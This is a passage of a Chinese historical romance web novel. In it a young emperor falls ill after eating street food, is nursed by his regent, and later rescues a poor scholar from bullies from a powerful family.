宋南卿回想着今日的那个养马男人,那双翡翠耳环,那个玳瑁勺子,他眉毛微扬,“你有时间去找一趟云岫,就说她那个心上人,我给她找到了。”
魏进抬手给马车加速,听到这话道:“是,陛下已经有对策了。”
宋南卿一笑:“看看云岫这位心上人,能为她做到什么程度吧。”
马车转过一条街道,美食烟火气扑面而来,宋南卿刚刚在贾府没吃几口的肚子开始叫起来。
他撩开马车帘子,看着热气腾腾的小吃摊,咽了下口水,“停一下,朕要下去。”
太阳透过掀开的车帘,照到宋南卿的手上,同时也照在街边小吃摊的旗子上。
蓝色布旗上印着“陈记食肆”三个字,往下是木头的四方桌,周围围了一圈长板凳。这一片地方就这家人满为患,宋南卿摩拳擦掌,看着好不容易空出来了一条板凳,他一屁股坐了上去。
“公子!奴才给您擦擦再坐!”春见忙不迭掏出帕子要给他擦桌子和凳子,宋南卿的眼睛已经粘在菜单上拿不下来了。
“要一碗鳝鱼面,还有这个豆腐皮包子。”他看了看桌上其他人的碗里都有什么,又指着桌上的绿豆糕说:“这个也给我来一份吧。”他闻到热气扑鼻的食物味道,对着春见魏进道,“随便点,爷请客。”
对于美食他一向兴致颇高,但是沈衡不太愿
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意让他吃街边的东西,怕他肠胃弱吃不得,但宋南卿觉得天子当与民同乐。
菜还没上来,他就被同桌的食客浇了头冷水。
“我等凑钱共食一碗素面,那有钱有势之人开口便是随便点,别提科考,就是饮食上,我们也差了一大截。”
有钱有势之人宋南卿默默眨眼,心想他吃的也没多荤啊,而且就点了三个菜而已,一个还是点心。
旁边像是举子模样的人发出叹息:“我来京已数月,吃食能省则省,但贾大人授课要的银子却是一节更比一节高,不上又怕落在人后面,真是为难啊。”
“每年科考名额就那么多,一大半还被世家子弟占去,我们吃的是残羹冷炙,学的也是他们从指缝中漏出来的边角料,自古寒门难出状元。”
“你们也别那么灰心,只要努力还是有希望的,你看新任御史陈大人,不也是草根出身,人家现在得陛下青睐,宫中文武百官无一不怕他弹劾,就是首辅也得任他挑理。”
一个穿绿布衣的青年打断了他的话,“我和陈大人可是同乡,当时是地方官对他家有亏欠,他父亲因此丧命,所以多给了一个名额,他才有机会入朝做官的。”
宋南卿的耳朵打开听着旁侧人的谈话,听的入迷,直到他的面上来了,才把心神收回来。
清亮的汤底里是细细的面,上面被油爆过的鳝鱼丝油亮诱人,葱花翠绿,香气扑鼻。宋南卿挑起一筷子面和鳝鱼丝混合放进嘴里,鲜甜咸香在嘴里瞬间爆开,鱼肉弹牙笋丝清脆,再来一口面汤,整个人的五脏六腑都被暖流熨烫妥帖。
他把头埋在碗里吃的脸颊鼓鼓,吃相香到旁边那几个刚刚对他出言嘲讽的人都被他吸引。
绿布衣咽了咽口水,准备继续刚刚的话题:“你们知道当时那个地方官是何人吗?”
身旁同学摇头,心里想着要不也点笼豆腐皮包子尝尝,怎么感觉那么香。
“是贾大人。”他故作神秘,一只手挡住嘴轻声说道。
但宋南卿就坐他旁边,声音再小怎么也听到了。他边夹起一块绿豆糕边想:“没想到陈立文和贾良还有这一段缘由在,怪不得天天给他递贾良德行有亏的折子。”
绿豆糕一入嘴,入口即化,可是清新的绿豆中含着一丝似有似无的酸味,宋南卿皱起眉,但眼看同桌的人吃的正好没有丝毫异样,他皱着眉咽下了口里的东西。
在离开前,听到那些学生在谈论贾良过寿该送什么礼物云云,宋南卿失去了兴趣。他今日听那管家说起,还以为贾良是免费开课,原来不止收费还收礼。
马车朝宫门驶去,重重的大门关闭。皇帝的寝宫门却接连开启,御医和今日随宋南卿出门的侍从都被叫进来问话,连贾良那边都被派去宫人询问,今日在贾府用了什么菜。
内殿高床之上,宋南卿闭着眼睛,墨色的头发散在枕头上,巴掌大的小脸很精致也很脆弱,没有了睁开眼时那抹坚韧和不饶。
沈衡进了房间,掀开帘子仔细观察着床上人的脸色,手背贴在宋南卿额头试体温,又从床头的铜盆里绞了湿帕子替他擦汗。
原本红润的唇瓣此时变得苍白,一缕青丝被汗浸湿贴在腮上。沈衡撩开他那缕头发,细细沿着鬓边擦拭。
原本狡黠的眼睛闭着,失去了往日的活力和灵动,沈衡眉头紧皱,一边握住他的手一边冷声问负责诊断的御医:
“陛下到底怎么样?”
11.第十一章
龙床之前,御医跪了一地,为首的低着头说;“回禀摄政王,陛下是吃了不干净的东西肠胃不耐发炎症,有呕吐之状,继而引发高烧不退。微臣已经开药,太医院那边很快就会把药煎好送来。”
沈衡坐在床侧,把由于情急压住的衣摆往外甩开,黑色的衣袍显得压迫感十足,他脸色不好,听了这回答并没有放下心来,“确定不是下毒?”
宋南卿刚从贾良府上回来,有前车之鉴,让他不得不多心。
薄薄的眼皮往上一抬,压出一道深深的折皱,威严散发,让御医浑身一颤。他弯腰恭敬道:“陛下不是中毒之状。”
“陛下今日都吃什么了?”沈衡扫了跪在旁边的春见一眼。
春见颤颤巍巍回道:“在贾大人府上用了两碗樱桃乳酪,还、还在街市吃了…吃了鳝鱼面、包子和绿豆糕。”
沈衡看他的眼神很沉,“你跟着陛下,就让他吃这些随便之物?”
春见除了认错不知道该说什么,毕竟今日宋南卿吃的所有东西,他都先尝过,并无异样。
御医在旁边说:“臣检验过陛下今日所食之物,那家小食肆的东西也全都查过一番,无毒,只是绿豆糕有轻微变质。”
“那他怎么还没醒。”沈衡握着宋南卿的手,眼里满是担忧之色。
御医回答说:“陛下身子一向不算强健,思虑过多难免生郁,郁结于心加上高烧,才会有半昏迷之状。等烧退下来自然会醒,只是这两日肠胃虚弱,饮食上需多加注意。”
太医院的小御医端着一碗药过来,沈衡接过来,让他们全都下去了。
安静的房间里,只能听得到呼吸声,沈衡刚准备把宋南卿半扶起来,就被抱住了胳膊。
“别杀我……别杀我!”
宋南卿看见穿着盔甲的人破门而入,重剑挥出闪着白光,映出了宋南卿的人影。
叫嚷声,刀剑声,白色的剑影和红色的色块,是嘴唇上的颜色,是鲜血。缥缈的声音从脑后传来,一时是沈衡拿着沾满鲜血的剑对他说:“今后你就是大盛的皇帝。”
一时是他坐在书桌前情绪不明地对他说:“情爱对帝王来说是最无用的,卿卿。”
茶杯在掌心碎掉,贾良捋着胡子对他说:“宫中人心不轨,往后摄政王再有什么事,告诉我。” 穿着玄衣锦袍的沈衡嘴角流出毒血,在宋南卿面前念道:“你贪念太重。”
长剑刺破胸口,沈衡的血溅了宋南卿一脸,他瞪大了眼睛泪水止不住滚落,想要向前,却发现自己身处枯井之中,对方的尸体从天而降。
红色的液体遮盖住了视线,一股极其酸涩的痛楚从心脏爆开,心脏生生被剜去一角的感觉令宋南卿喉咙发腥,身体不自觉地颤栗起来。他僵在那里无法呼吸也无法动弹,万籁俱寂,无尽的悲伤把他拖入无边的深渊。
突然,睫毛上的红色被抹去,宋南卿慢慢睁开了眼。
沈衡俯身用指腹擦着少年睫毛上的泪水,指尖被烫的微抖。
宋南卿一睁眼就是那张熟悉的脸,他大喜过望,失而复得般猛地伸手去抱人,想要确认那些可怕的画面都是一场梦。
冷不丁被他往后一扑,沈衡退了段距离才稳住身形,宋南卿哭着往人怀里埋,一只胳膊缠住沈衡的脖子,把脸埋在坚实的胸膛上紧紧贴住,另一只手搭着肩膀紧抓不放。
他靠的很近,双腿并起来侧坐在沈衡怀里,想要用每一寸肌肤去感受对方的体温和存在,隐隐约约的啜泣被闷在二人之间。
顺滑的头发经过生病出汗已经变得凌乱,沈衡一手拢住他的腿,一手轻轻拍着少年的后背。
“没事,别怕…”
确实很久没见宋南卿哭了,那种装可怜撒娇的时候不算。
细碎的哭泣声经他安慰后变得更大了,充满难过与委屈。沈衡呼吸滞缓,手臂收紧,拢住少年的肩膀往自己怀里圈,原本搭在大腿上的手环住了腰身,彻底把他围在怀中。
“没事的,嗯?怎么了,我在这儿。”沈衡抬指擦去少年腮上的泪水,望着他哭红的眼眶,心尖发酸,“做噩梦了是不是。”
听到这话,宋南卿扁了扁嘴摇头,抽着鼻子泪水渐止,睫毛湿湿的黏在一起,嘴角朝下鼻尖都是红的。
沈衡抚摸着他的后背帮他顺气,刚伸手去拿帕子想帮他擦眼泪,脖子就被紧紧抱住不撒手了。
湿润带着泪水的脸颊软软地贴在他锁骨下方,有种誓死不放手的架势。
断断续续的抽噎声,宋南卿的身体随着抽泣在抖动,他已经不在哭了,但身体上的生理反应还没有平缓下来。
温暖的怀抱紧紧包裹着他,被压迫感环绕着,他才确信自己在安全区之内。
“先把药喝了再抱好不好?”沈衡把他抱起来换了个更舒服的姿势,轻轻的安抚性拍打落在背上,轻声询问。
宋南卿把脸埋在人颈窝,半晌才颤声道:“先生会一直陪着我吗?”
“只要你需要。”沈衡半点都没犹豫。
过了好一会儿,宋南卿才慢慢松开人,半靠在床头,这才感觉到自己腹部的不舒服。
他扁着嘴眼眶还是湿的,叫嚷道:“肚子痛——”
白色的玉碗里盛着热热的药,沈衡捏着一勺汤药送到他嘴边,“喝了药就不痛了。”
宋南卿不肯张嘴,他眉头微皱,还没尝就喊苦。
沈衡哄了半天,见他还不张嘴,恐吓道:“御医说你肠胃虚弱,如果不赶紧喝药治好,以后就不能吃好吃的了,只能日日喝粥养着。”
宋南卿瞪圆了眼睛不可置信,看沈衡表情不像作假,可怜的眼泪又要往外冒。
他一边“叭嗒叭嗒”往外掉泪,一边抱着碗喝药,也不知道有没有尝到自己眼泪的味道。等到一碗药见底,沈衡在他嘴里塞了一颗话梅,拿手帕替他擦嘴,还一边夸奖:“卿卿现在喝药都不用喂了,比以前更厉害。”
“先生会更喜欢更厉害的我吗?”他扒着人的手臂问。
天色已晚,房间里点着灯但也不算太亮,在暖黄色的灯光下,宋南卿扬起的脸蒙上了一层珠玉般的的柔光,仿佛阳光穿过雾气照过湖面,睫毛上还挂着星星点点的未干泪痕。
沈衡移开目光,又转回来,看了他两秒,然后把空碗移走,低沉的声音飘在空气中:“我更喜欢开心的你。”
看着他的背影,宋南卿拽住身上滑落的被子,一股说不清道不明的情绪涌上心头,他不太懂那是什么。或许是噩梦太真实,或许是现实像噩梦一样,一步走错就万劫不复,需得步步小心。
可能是因为在那间母亲的旧屋里待了太久,往事和回忆都涌了上来,他的头真的好痛。
再次从梦
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中惊醒,宋南卿头上湿凉的帕子换了一块儿,他迷迷糊糊看见沈衡在给自己喂水,头疼的感觉消散不少,肚子空了发出咕叽咕叽的声响。
“我想吃你做的绿豆糕。”宋南卿靠在人肩膀上又喝了一口水,觉得刚刚喝药喝的嘴里发苦,没有味道。
沈衡捏了下他的脸,“还敢吃绿豆糕,你知不知道这次就是因为那个坏了的绿豆糕才这样的。”
宋南卿反驳道:“谁说的,说不定是贾良害我。”他话锋一转,像是在睡梦中还未清醒,梦到哪句说哪句一般,“今日看到贾良小妾的耳环好漂亮,那个翡翠又亮又透,比前些天库房里那个据说价值连城的漂亮好几倍,我也想要。”
“嗯,你有能戴耳环的地方吗?我看看?”
一夜未睡,沈衡也失去了一直秉持的端庄,疲惫感没消失,但因为担心宋南卿精神却一直紧绷着,身体疲惫精神兴奋就容易做出些平日用理智克制自己不能做的事。
温热指腹蹭到少年的耳垂,捻着那块肉磨蹭挤压,食指摸到耳根处试温度,感觉终于退了烧,他那口提起来的气才终于放下。
宋南卿早产,身子一向不太好,出生又没受到精心细养,有虚弱的病根在,所以一病就让人很怕抑制不住。
布着厚茧的手指摸着敏感的耳垂带来痒意,宋南卿忍不住瑟缩推他:“讨厌!不要摸……”
耳后那个凹陷进去的小窝窝被指尖蹭到,宋南卿打了个哆嗦,痒意从耳根一直传到咯吱窝,他本来生病退烧就捂了一身汗,被那么一碰整个人都红了。
沈衡看他面颊潮红,以为又起了烧,倾身要仔细查看之时,被宋南卿拦住了不让碰。
长长的睫毛翘立,他垂眼不好意思看人,推着沈衡的手左扭右扭,最终还是被沈衡看出了端倪。
“那么有精神,看来是好了。”
听到这句带有调侃意味的话,宋南卿扑上去捂住了沈衡的嘴,瞪圆了眼睛威胁道:“不许说!”
沈衡拎他跟拎兔子一样,单手就把他放回了被子里,看了一眼外面天色,嘱咐道:“今日上朝就免了,好好休息,我吩咐了御膳房等会儿把粥送来,你喝了再睡一会儿,等下了朝再来看你。”
宋南卿闹了那么一会儿也累了,乖巧点点头缩回被子里,又想起什么似的,仰起头说:“陈立文此人还需要再观察秉性,先生帮我探查一番。”
沈衡点头应了。
临出门,他又转头看向宋南卿状似好意提醒:“你现在正是身子虚弱之时,万不可纵容自己意愿行……”
“我知道了!”宋南卿炸毛一般立刻打断了他要说的话,把脸埋在被子里,胳膊伸出外面,只露出来一个握紧的拳头给沈衡。
“粥是我一个时辰前熬的,是你喜欢喝的,不喂你也记得多喝两口。”大门“吱呀”一声关上,宋南卿从被子里钻出脑袋,往外张望了两眼确实没有人影,他又把头埋回去了一半。
床头的花瓶里新换了一束百合,淡淡的清雅味道能舒缓心神,床的另一侧和旁边的小榻都没有睡过的痕迹,沈衡好像一夜未眠。
宋南卿翻过身看见自己腕上的佛珠,他凑近了闻,闻到一丝跟沈衡身上味道相类似的香味,圆润的绿檀佛珠从他的脸颊上方滚过,慢慢蹭到了那颗饱满上翘的唇珠。
刻着清心咒的经文把他包围。
12.第十二章
宋南卿这一病,修养了好几日才完全大好,帝王生病摄政王大怒,整个宫里的人都战战兢兢,他好了之后赏了宫里服侍的下人,也好好安抚了下春见。
宋南卿坐在书桌前看了会儿折子,双手勾起伸了个懒腰,淡青色的衣袍上绣着春日山水纹样,银线绣成的河流在日光下发出光辉,像是汩汩清流般波光粼粼。春日最易困倦,他打了个哈欠问一旁的春见:“近几日宫中有什么趣事吗?”
春见正在一旁剥莲子,边剥边抬头回道:“近日有则传闻,说贾良大人家中平白飞出几只乌鸦,且陛下您看过大人后回来就病倒了,大家都在传贾府怕是有什么不干净的东西。”
“还有这种传闻?”宋南卿直起身子有些兴趣,瞥到春见手里的莲子疑惑道,“你剥那东西做什么,谁要吃?”
春见把剔除苦心的莲子放到容器内,“摄政王大人罚奴才剥莲子,好好体会一下危君所危、急君所急的良苦用心。”
宋南卿说:“这又不是你的错,好了别剥了,你是我的人,他有什么道理罚你。”
春见闻言跪在了地上,言辞真诚:“是奴才的错,陛下受伤害就是奴才没有尽好本分,按律应该打板子的,是摄政王体恤才没有让奴才受罚,”
宋南卿目光微闪,出声问:“是因为你没有制止我吃多了樱桃乳酪,还是因为没有制止我随便在街市小摊进食?”
春见低着头微抖,颤声道:“都是奴才的错。”
“春见,你跟我时间不短了,朕今日问你一句,你究竟是听摄政王的,还是听我的?”宋南卿轻描淡写一句话,让春见后背都湿了。
宫门里贴近圣上身边伺候,说出去是谁都羡慕的美差,但风险始终与机遇并行。
他把头贴在地上,为自己声明:“奴才自然以陛下为先,只是那日摄政王问起陛下因食何物才呕吐不止,奴才担忧陛下只好照说。但关于陛下的私事,奴才以性命担保,从来一句也没对旁人透露过。”
殿里变得很安静,像是在等待什么判决宣读,春见屏住呼吸默默等待,像是过去了短短一会儿,又像是过去很久。
“罢了,你夹在中间也有为难之处,起来吧。”半晌,宋南卿轻叹一口气道。
还是他不够强,连他做事有时都要看沈衡脸色,更何况春见一个小小奴才呢。
“摄政王现在所在何处?”
春见回答道:“沈大人今日未进宫,听闻郗家公子这几日订婚娶妻,不知沈大人是不是去郗家参加喜宴去了。”
宋南卿挑了一颗去了芯的莲子放入口中,问:“哪个郗家公子?”
“郗武康长子,郗渐。”
“就是那个据说五岁能作诗的神童郗渐?”宋南卿得到肯定回答后,摸了摸下巴,“小时候先生教我读书时就时常提起,我倒想看看这位神童有没有伤仲永。”
长大过程还有回忆的长河里,每个节点似乎都避免不了提到沈衡。但刚刚因为春见一事,在此刻提起沈衡,又变得有些微妙了。
看着窗外春光正好,宋南卿扭了扭脖子说:“大喜的日子,我们也得去凑凑热闹,春见备车。”
按以前,春见可能会说陛下大病初愈,还是不要出去的好,毕竟摄政王嘱咐过不能由着陛下性子胡来。
但现在,春见多叫了几个侍卫在远处跟随,食物器具都带的一应俱全,为了防止春日说下就下的雨,他还多带了雨具和保暖衣物。
宋南卿坐在柔软又密不透风的马车里,拉开抽屉就看见了放好的糕点,他赞许地看了一眼春见。在马车里看着前方那个从他继位起就一直陪着自己的少年的肩膀,感觉好像又宽阔了一些。
时间的流逝如果没有参照物,很容易察觉不出,但如果身边的人在成长,自己还止步不前,是很容易就能感觉出来的。春见坐在一旁对驾马车的人说:“走西边那条道,更平稳一些。”
在皇宫没有哪条路是容易走的,需得步步谨慎,目前宫里最尊贵的除了皇上,就是摄政王,偏偏春见是接触他们最多的人。
以前他觉得陛下没有长大,摄政王大人又是帝师又有摄政之权,虽然他年纪没有年长到那个份上,但权力地位在那里,又从皇上小时候就以一个看顾者的姿态处之,所以他伺候皇帝,总是会在意摄政王的心思和想法,毕竟那时候陛下还是个不能完全自理的小孩,小孩总是想寻求大人庇佑的。
但现在不一样,随着小孩长大,摄政王和陛下的需求有时候是相反的,满足一方就可能得罪另一方,但这两个人,他哪个都得罪不起,如何从中转圜权衡,是一个大学问,他只能力求平稳。
马蹄声有规律的响起,他听见他的陛下在马车内喊道:“春见!你这个糕点自己尝过没有啊,一点都不甜,你进来给我吃吃看呢!”
一块绿色的荷叶糕从马车内飞出来,春见回头一笑接住糕点,“陛下,您肠胃刚好,吃不了那些,等您大好了奴才天天带不重样的出来。”
春花开遍,春天已来,宋南卿透过马车的窗子看见外面的绿叶和枝桠正在缓缓生长,春见拿着那块荷叶糕,与外面的绿意盎然融为一体。
……说起绿,他又想起了那个翠绿的翡翠耳环,切割立体打磨圆滑,透亮的不得了,好想要。
宋南卿捻了捻手指,让春见把马车先驶往了京城最繁华的宝物一条街。
在又一次从珠宝饰品店无功而返后,宋南卿双手背后,沿着街边溜达起来。他这条路再往西,卖的多是些字画笔墨一类,小石板铺成的路走上去别有一番趣味,宋南卿低着头一步踩一格,跳来跳去玩的欢快,一没留神,旁边有个人从台阶上跌跌撞撞摔了下来,差点撞到他。
“你怎么回事,没长眼睛啊!”春见先一步挡在宋南卿前面轻喝道。
没等那人说话,又是一个破包袱从旁侧那个高高的台阶上被扔了下来,一个掌柜模样的人站在客栈门前居高临下说:“不好意思了阮公子,我这个客栈可不是什么人都收留的,你已经欠了半月房费未结,留你到今天已经是仁至义尽了。”
那人从地上爬起来拍了拍身上的土,说:“小生拿到抄书所得银钱后,定会来还上,多谢掌柜。”
他拾起包袱背好,宋南卿这才看清他的脸。
是那日在贾良府上听授课时,那个被表扬后上台念策论的学生,叫阮羡之。宋南卿还记得其中几句鞭辟入里的文字。
他默默跟着阮羡之一路走,跟到一家书画店后,对方竟没了踪影。宋南卿也没放在心上,本来就是一个小插曲,只是觉得那么有才华的人,生活也有不易之处。
春日的上午,街市人很多,夜晚华美鼎沸的凤栖楼,白日里倒是连个人影子都不见。宋南卿停留在书画店里看话本子,听见一旁的人说:
“就不久前,听说是宫里的大人被巡查逮住了,你说怎么就那么巧,最近凤栖楼生意可没之前那么好喽。”
“哎呦那天我正好瞧见了,光溜溜的门就被打开了,我要是他这辈子都抬不起头了,还当御史呢。”
“读书人你还去那等地方呢。”
“路过,路过而已。老板,你这小羊毫怎么卖的?”
宋南卿听了几句,没太放在心上,拿了几本书准备结账出门。那老板看见他手上的书,嘴角扬起一抹神秘的微笑道:“这位公子,店里还有绿芜老师的新作——”
他左右扫了几眼,故弄玄虚般用手挡住嘴说:“风流御史俏寡妇……”
他自以为声音很小,其实不然,店里的人一时都把目光移向疑似爱看风流御史的少年,那个要买小羊毫的男人眼里流露出赞许之色。
被打量调侃目光包围的宋南卿一时如芒刺背,如鲠在喉发不出完整的声音,如坐针毡般猛地加速移动左右跑,想要逃离这个房间,一时慌不择路冲到里面,竟推开了书店角落的一扇小门。
“咣当——”一声,门发出重重的声音,连旁边堆得高高的书都掉落了几本。
春见慌忙跟上来不断尝试推动门喊道:“陛……公子你怎么样啊?”
宋南卿推开门平静下来后,发现他竟然出来了
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,面前是一条深深的小巷子,隐隐约约能听见刚刚书店里面传来的声音,但听不真切。
春见上手拽了几下,发现门竟然从里面锁上了,他焦急地想要找侍卫过来,却看见老板不慌不忙走过来说:“这个门老毛病了,锁有问题,又打不开了。不过你不用担心,这后面是后门,通向后面巷子,能直接绕出来。”
春见直接塞了一锭银子在他手里,说:“快带我去!”
老板眼睛都睁大了,一边点头带人往外走,“那书还要不要啊?我说你们这些年轻人就是脸皮薄又性子急。”他正捋着胡子往小巷走,一把刀已经架在他脖子上了,“别废话,快带路。”
老板举高双手不再废话,动作迅速带人朝外走去。
这边宋南卿打不开门,只好一路沿着小巷往外走。
这边的建筑很密集,巷子也七拐八拐,灰白色的墙长得都一个样。
他这还是第一次,真正意义上自己一个人独处。没有跟着的下人,目光所及也没有别人,只有他自己。
沿着巷子一路走,经过一棵大大的柳树,他的脸上落了几滴水,抬头看去,发现是下雨了。细细的雨滴落在身上,地面也出现了湿痕。他突然听到了笑骂声还有什么东西落地的声音。
从墙角探出头,宋南卿看到了令人惊讶的一幕。
一群人把一个年纪不算大的男子围在中间,旁边的破包袱被抖开,东西散落了一地,都不是什么值钱的玩意,却被人一一踩过,留下了不可磨灭的脚印和肮脏痕迹。
“阮羡之,你不是很厉害吗?不是作的文章都得到贾大人亲自夸赞吗?怎么起不来了,有本事站起来继续写啊!”右边一个高大的男子一脚踹上人肩头,本来就嘴角破损的阮羡之更是倒在地上爬不起来了。
雨慢慢变大,地面有了一些湿痕,混着鞋底的尘土一起,在阮羡之身上留下了明显的印记。
“你以为靠抄书赚钱还能留在京城几天,还有人肯花钱买你抄的书吗?”
“我劝你趁早死了科举这条心,就你这样的人,怎么配将来和我们同在朝为官!”
阮羡之愤怒地瞪着他:“是你们!我被客栈的掌柜赶出来、那些字画店都不让我进去,是你们暗中搞鬼,卑鄙无耻!”
周围的人露出嘲讽的笑,对他奚落道:“鸡和鹤有云泥之别,我们随手的事就能让你活不下去,现在懂了吗?”
“凯哥,要我说,不如把他的手指弄断,看他还怎么做文章来,省得贾大人又拿来和您比较。”
他话还没说完,脑袋上就挨了一下,“怎么说话呢,凯哥那是没认真写,真以为谁都跟他一样爱出风头啊!”
春雨打湿白墙,淋湿地面,宋南卿和那群人都在屋檐下,只有阮羡之四周无一物遮挡,被雨水淋了个彻底。
脏脏的手指在地面上蜷缩,他身上带伤,衣物被打湿,额角还流着血。阮羡之被雨水淋的雨睁不开眼睛,听到一个人对他说:“你现在签下这个保证书,保证今后不再妄想科举,我们就放你一条生路,给你白银百两放你回到那个野鸡窝里去。”
宋南卿握紧了拳想要上前制止,但又犹豫了。
他现在只有一个人,肯定打不过那群恶霸,君子不立危墙之下……
阮羡之笑了,他缓慢抬起手,把那张纸捏住,然后撕了个粉碎,用带着淤青的眼睛看向他们,放声道:“富贵不能淫,贫贱不能移,威武不能屈,此之谓大丈夫。科举是为做好官,为天地立心为生民立命,你们不配。”
宋南卿屏住了呼吸。
那群人被激怒,背对着他被称为凯哥的人真的抬起了脚,混着泥水的鞋子抬起,慢慢要对着阮羡之的手指踩去。
苍白的手指沾着血迹,还有撕碎的纸屑晕染开的墨渍在上面,连指甲缝里都是血和污泥,写得出精彩策论的手,在皇城脚下的深巷里,却破损僵直,被按住手臂动弹不得,只能引颈受戮。
“住手!”
一道声音打断了这残忍的动作,打断了这场不公平的抱团霸凌。
13.第十三章
淅淅沥沥的雨有越变越大的趋势,那群眼高于顶的权贵子弟闻声回头,看见一名身穿淡青色衣袍的少年从后面走了出来,气质脱俗面容秾丽,看起来像是个不经世事的小少爷。
“你是谁,想多管闲事?”
宋南卿对着前面瞪大眼睛,似是很诧异叫了声:“贾良大人!”
因为纯真的表情似是做不了假,乖巧漂亮的外表也格外让人信服,那一群人听到贾良的名字,慌忙转头看向前面那个方向。
电光火石之间,宋南卿往前疾跑两步,拉起阮羡之的胳膊架着人扭头就跑,步伐飞快。
贾士凯那群人反应过来过来被耍了,怒骂着往他们奔跑的方向追去,几个人的脚步声踏在被雨淋过的地板上,声音格外明显。
宋南卿带着身受重伤的人跑的困难,阮羡之腿被踢伤行动受限,几乎半个身子都靠宋南卿拖着走。他们二人绕着巷子七拐八拐彻底迷了路,只能凭毅力不停下步伐。
春雨一直在下,鞋子踏进小水坑,泥水溅湿衣摆,宋南卿忍着鞋袜被水浸湿的难受努力带着人奔跑,身后的追逐的脚步声越来越近,他呼吸急促喘的快上不来气。
阮羡之面色苍白,对他说:“往右跑!”
宋南卿一个拐弯,进入了更细窄的巷子,不远处的脚步声逐渐远去。
危机暂时解除,宋南卿脱力,被阮羡之的重量拖的坐在了地上,他的额发被淋湿,精致飘逸的衣袍也彻底脏掉了,像落了水的小狗,费力呼吸。
下雨后空气里的味道不太好闻,带着泥土的腥气,或许还掺杂阮羡之身上的血腥气,加上不干爽的衣物鞋子,每一个地方都让人不舒适。
阮羡之用湿透的袖子擦了一把脸,对坐在旁边的宋南卿说:“今日多谢公子救命之恩,只是那些人不会轻易罢休的,你还是快点走吧,莫要……被我拖累。”
“你身上还有钱吗?”宋南卿大喘着气问。
阮羡之摇头。
“又没钱又没地方住,还有那么一群恶鬼等着要弄断你的手,我走了你怎么办?”
阮羡之一愣,他看见旁边的少年甩了甩袖子上的水,那张脸被雨水淋湿但丝毫没有惧意,剧烈跑动让他的脸颊泛起微红,他休息了一会儿后从地上站了起来,朝自己伸出一只手。
细细的手腕上挂了一串有些大的佛珠,脆弱得仿佛一折就断,却有跟翠绿青竹一般坚韧不认输的韧劲。
“快点站起来,我们马上就能出去了。”
阮羡之怀疑自己身上太痛加之淋了雨不清醒,不然怎么会有人坚持不放弃自己呢。
他父母早亡,靠祖母带大,村里的人一向都不看好他读书,说不如多种垄地来的实在,是祖母坚持供他读书,但等他长大了能一边赚钱一边上学的时候,祖母却去世了。
自此,世上再也没有相信他能做到的人了。
村里的人说是他害死了祖母,他也没办法否认,好好安葬祖母后来到京城,但这里的人更加瞧不起他,衣着打扮一言一行,这里都有一把尺,尺的另一端是对他的态度,他们都说你不用妄想了,怎么可能跟那些天天在太学的人比呢。
如果没有读过书,如果心里不曾点亮那团火,他肯定早就放弃了,因为放弃比坚持容易太多太多,但他真的想看看京城,看看书里所说的朝廷,看看那位克明俊德、平章百姓的九五至尊,他想为这个世界做点什么。进了京城之后他的想法更坚定了,为什么他们村子里的百姓一年到头忙的腰都直不起来,种的米上缴一半还多,自己却吃不饱;为什么京城这些做官的连稻子小麦都分不清,却天天大鱼大肉高高在上。
他想平天下,做到礼记里说的,天下大同,但这需要他拿到科举的入场券。
“终于让我抓住了,凯哥,他们就在那儿!”凌乱的步伐声传来,后方道路的拐角,那几个人又追了上来。这次的气势更盛,眼神里多了几分不耐烦的憎意。
宋南卿暗骂一声,努力架起阮羡之的胳膊就往前跑,迈着踉踉跄跄的步伐艰难移动,可是他一个人的力量还是太小,没走几步就被跟上了。
阮羡之张开双臂把宋南卿护在后面,哑声道:“你快跑吧,帮了我他们肯定不会放过你的。”
“敬酒不吃吃罚酒,你们俩再跑一个试试啊,知不知道这是在哪儿!知不知道凯哥是谁?”
看着贾士凯手里的木棍,宋南卿呼吸紧张,小时候在宫里被人围起来欺负的画面又清晰起来,他知道孤立无援力量悬殊是多么绝望,要他在这个时候撇下阮羡之陷入这个不知生死的陷阱,他做不到。
贾士凯在一众小弟的包围下,迈着悠闲的步子走过来,在看到宋南卿的时候,面色一沉,“又是你,你还敢出现在本公子面前,是不是找死?”
上次凤栖楼抢他云岫,现在他欺负个看不顺眼的东西,又被阻拦,面前这个小子还真是处处克他。
一滴水珠从宋南卿脸庞滑过,他用那双明亮清澈的眼睛看向贾士凯,“上次的伤都好了?又在我面前摆弄你那身份,看来你还是不知道我是谁。”
“老子管你是谁,在这片地方就是我贾家的地盘,给我打!”
木棍被高高举起,宋南卿抬起胳膊挡住了要害,动作熟练。反应过来时他轻轻一笑,心里自嘲道:做这个万人之上的皇帝那么久,身体挨打时的条件反射原来还残留着,他还以为早就忘了呢。
“全都给我住手!”
从巷子口朝这儿快速行进的仪鸾司侍卫虽然穿着便服,但动作统一麻利,手中的刀反射出森白的光,他们一袭黑衣训练有素,一脚踢开贾士凯手中的棍子,三下五除二就把围着的一群企图加害宋南卿人制服在地。
贾士凯的头被一股无法抗拒的力量强硬地按在地上,蹭了一头泥水,以一个屈辱的姿势被制服,刚想挣扎,削发如泥的长刀就已经架到脖子上了。
春见小跑着来到宋南卿身边,抖开雪白的披风给他仔细围在了身上,一手撑开伞替人撑着,一手挡在他前面,把身上有血迹的阮羡之也隔离开来。
七八名黑衣侍卫把人按在地上,等候宋南卿发落,他们这利落高超的功夫一看就不是寻常人家能训练出来的,悄无声息又运筹帷幄。
“给我把他们教训一顿,然后找个大夫来给他看看。”宋南卿急着想换下湿掉的鞋袜,简单吩咐了两句就离开了。
阮羡之看着那飘起的衣角上绣的银线,仿佛在眼前真的缓缓流淌起来,像从九天降落的银河,伸手又触及不到,他眼前一黑晕倒在地。
等他悠然转醒,发现自己已经躺在了干净的床上,身上的伤口也都被妥善处理。
春见坐在对面的凳子上百无聊赖,见他醒了,道:“那些人不会再来找你麻烦了,这间屋子已经租下来,你可以一直住到科考结束,但要是没考上,我家公子说你也不必来见他了。”
“哦对了,还有这银子。”春见把一大包鼓鼓的银袋子放在了床头,“是公子说借给你用的,等你有连本带利还的那日。”
说完这些宋南卿吩咐的话,春见从凳子上跳下来准备走,却被阮羡之叫住了:“你…你家公子是何人,无功不受禄,我总要还了这恩情。”他身上有伤,不好下地。
